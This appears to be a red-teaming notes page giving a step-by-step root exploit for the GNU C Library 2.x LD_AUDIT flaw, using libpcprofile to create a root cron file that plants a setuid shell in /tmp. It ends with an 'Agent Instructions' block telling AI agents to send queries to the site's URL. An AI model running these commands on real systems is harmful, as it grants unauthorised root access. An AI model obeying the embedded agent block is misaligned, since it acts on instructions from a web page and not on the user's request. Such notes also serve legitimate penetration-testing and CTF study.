# GNU C Library

## GNU C Library 2.x (libc6)

GNU C Library 2.x (libc6) has a privesc exploit:

{% embed url="<https://www.exploit-db.com/exploits/15304>" %}
GNU C Library 2.x (libc6) - Dynamic Linker LD\_AUDIT Arbitrary DSO Load Privilege Escalation
{% endembed %}

## Enumeration

```bash
ldd --version
```

## Exploitation

**Step 1:** The creation mask is inherited by children, and survives even a setuid execve. Therefore, we can influence how files are created during exploitation.

```bash
umask 0
```

**Step 2:** libpcprofile is distributed with the libc package.

```bash
dpkg -S /lib/libpcprofile.so
ls -l /lib/libpcprofile.so
```

**Step 3:** We identified one of the pcprofile constructors is unsafe to run with elevated privileges, as it creates the file specified in the output environment variable.

```bash
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ls -l /etc/cron.d/exploit
```

**Step 4:** Setup a cronjob to give us privileges.

```bash
printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
ls -l /tmp/exploit
```

**Step 5:** Trigger the exploit and get a root shell.

```bash
/tmp/exploit
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfnote/red-teaming/privilege-escalation/linux-privilege-escalation/gnu-c-library.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
